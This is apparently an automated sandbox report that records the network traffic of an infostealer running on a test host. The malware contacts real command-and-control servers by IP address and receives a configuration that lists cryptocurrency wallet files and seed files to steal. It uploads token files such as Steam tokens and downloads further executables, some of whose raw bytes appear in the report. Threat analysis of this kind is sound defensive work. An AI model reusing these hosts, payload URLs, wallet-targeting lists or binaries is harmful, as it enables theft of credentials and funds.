46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 28, 2024 00:19:53.384377956 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBF Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="message"files------ECGIIIDAKJDHJKFHIEBF--
Nov 28, 2024 00:19:53.846556902 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 00:19:53.861999989 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFCAFCFBAEHIDHJDBGC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file"------BKFCAFCFBAEHIDHJDBGC--
Nov 28, 2024 00:19:54.824273109 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 00:19:54.859569073 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 2d 2d 0d 0a Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="message"ybncbhylepme------CAEHDBAAECBFHJKFCFBF--
Nov 28, 2024 00:19:55.320869923 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49921	185.215.113.16	80	7376	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 00:19:55.450535059 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 28, 2024 00:19:56.783206940 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 23:19:56 GMT Content-Type: application/octet-stream Content-Length: 1852416 Last-Modified: Wed, 27 Nov 2024 23:07:25 GMT Connection: keep-alive ETag: "6747a62d-1c4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 b0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfI@I@WkD4II @.rsrcD@.idata @ )@gpnqxgzn0p0(@dyrruobhI@.taggant0I""@
Nov 28, 2024 00:19:56.783251047 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 00:19:56.783404112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 00:19:56.783541918 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 00:19:56.783551931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 00:19:56.783612967 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 00:19:56.783624887 CET	1236	IN	Data Raw: ae d3 1c 9f 50 67 09 9f 01 b1 52 8c ae 33 49 10 23 07 5d e5 79 a4 78 b2 ae 72 a8 8e ad 60 53 f0 33 c3 82 79 af 57 6e a5 6c a3 82 ed be d6 a6 91 ff e5 c7 be f1 af 64 2c c0 53 52 b0 a8 df e0 bd bd a7 84 af 2c 07 63 ad 7b d5 53 bd 65 b7 8f e5 cc 13 Data Ascii: PgR3I#]yxr`S3yWnld,SR,c{Se.JpZ#mV_&Hb>C-}H0% 8)aQ,C86_o,`~Se-39WQPnb]o7_6aQ-%H
Nov 28, 2024 00:19:56.783833027 CET	1236	IN	Data Raw: 19 b0 f9 c7 ab e3 b2 89 a9 24 55 9d 89 b6 4f 42 27 c8 3c 6a f3 de 34 0e d1 ff 31 71 79 4b 8f 81 63 7b 39 3e 68 92 97 3d 65 89 7d 11 a3 73 7e cd 03 42 17 46 51 b9 55 63 46 d0 3c 9d 13 8c 06 b1 6a e1 44 20 4a 9b 31 40 a2 64 63 ed 29 74 a6 0a b2 c9 Data Ascii: $UOB'<j41qyKc{9>h=e}s~BFQUcF<jD J1@dc)tDH^(nyh(!;6N5,A80)Bs`5Q54f_Lk&_dYI3[0!9wLk;eD<8$Z/h@J(
Nov 28, 2024 00:19:56.783840895 CET	1236	IN	Data Raw: 2d ae 80 89 3c f9 36 cc 2d 7d 03 b2 85 88 cc c3 0b 2c 70 84 c4 17 9a 68 b6 6b 69 d4 05 f7 f1 a8 3c 73 8a 78 96 44 18 aa 70 6f a0 dd ea 14 80 cb cb c3 61 5d 67 20 be 92 f3 6a 13 9d ca ae 17 9a 46 e4 56 89 cb a3 89 fd eb b2 e0 8f a5 0d 7d cd bd 0a Data Ascii: -<6-},phki<sxDpoa]g jFV}hC(<bkQT^W]b!MPG$a}?j&Y'6'RXW3It\|6*0rKR'8[A
Nov 28, 2024 00:19:56.783847094 CET	1236	IN	Data Raw: f0 ae 0c ff df 1d 90 a3 28 f3 cd c0 a4 73 15 04 71 9a 3d 9e 25 d0 9b 65 b5 78 a2 9d f4 eb 00 b3 dd 64 a9 7e 6d 0d 54 68 ad 94 c4 2d 11 bd 60 0c 0e 9e 28 a4 92 fb 66 f0 be 48 ba 92 b8 a4 47 a9 15 31 99 db ca 5d d9 ae 41 df a4 6e 6a 14 91 56 5e 91 Data Ascii: (sq=%exd~mTh-`(fHG1]AnjV^IkS#:kdOr"cnL!b\|mB4:C1Qb!@D:,}Y &B95I^_Xp_HGa8nD:>t
Nov 28, 2024 00:19:56.908574104 CET	1236	IN	Data Raw: b5 59 7b d4 ea ad 54 f1 b6 6c 54 cf 07 b8 45 b9 be 6c 91 fe ed 94 4f 0a df 8f 90 79 d4 88 66 d4 ef 9f 56 68 06 aa 40 0e 2b 12 09 95 2f e0 6d 28 53 a8 a3 08 61 6c b5 19 21 79 40 28 aa fb f1 c1 ad 3b 2c e1 86 ba 00 7a d2 db 15 79 a9 0c 05 20 18 0e Data Ascii: Y{TlTElOyfVh@+/m(Sal!y@(;,zy DhrP4KNnJWhrig`D!oqto*[PgL-~0O0@~AKWZ^}#ReXjH1F.fnQT#yk-YH=mdSd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49928	185.215.113.206	80	7376	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 00:20:00.458884001 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIIIECBGDHJJKFIDAKJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 2d 2d 0d 0a Data Ascii: ------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EGIIIECBGDHJJKFIDAKJ--
Nov 28, 2024 00:20:02.329014063 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:20:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49941	185.215.113.43	80	8216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 00:21:03.796082973 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 28, 2024 00:21:05.179759979 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 23:21:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49942	185.215.113.43	80	8216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 00:21:06.815033913 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 38 37 38 42 34 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2878B45082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 28, 2024 00:21:08.240468979 CET	762	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 23:21:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 33 62 0d 0a 20 3c 63 3e 31 30 30 39 37 32 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 30 39 37 32 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 30 39 37 33 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 37 33 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 [TRUNCATED] Data Ascii: 23b <c>1009724001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1009725001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1009730001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009731001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009732001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009733001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49943	31.41.244.11	80	8216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 00:21:08.369944096 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 28, 2024 00:21:09.806119919 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 23:21:09 GMT Content-Type: application/octet-stream Content-Length: 4419584 Last-Modified: Wed, 27 Nov 2024 21:01:20 GMT Connection: keep-alive ETag: "674788a0-437000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 60 c6 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c6 00 00 04 00 00 44 20 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 48 c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 48 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Eg(NK:v2``K@D D@ _ssshHH s6(@.rsrcsF(@.idata sH(@ 7sJ(@cebskodlPL(@oookxirbPHC@.taggant0`"NC@
Nov 28, 2024 00:21:09.806183100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 00:21:09.806222916 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 00:21:09.806262016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 00:21:09.806390047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: mA3y5MA?3
Nov 28, 2024 00:21:09.806426048 CET	1236	IN	Data Raw: 56 ae 7b 50 a5 70 89 60 59 23 55 6e e1 45 c5 19 af e3 d8 58 89 4d 78 6d 9d be b1 10 92 ba 29 74 9e a5 fc b6 ea 41 05 62 17 74 22 ba 9c 59 88 c5 38 11 14 d9 dd 08 bf 4b 8e 7a 8d 92 21 b8 6f 95 91 ec cd 7a 97 bd 1f f7 e2 ac 15 68 3f cf 95 c0 57 dd Data Ascii: V{Pp`Y#UnEXMxm)tAbt"Y8Kz!ozh?WZ&vASx-D9lWuWS6EUJU[t94'OD4-%thA\u\|3`JThyLzp2D
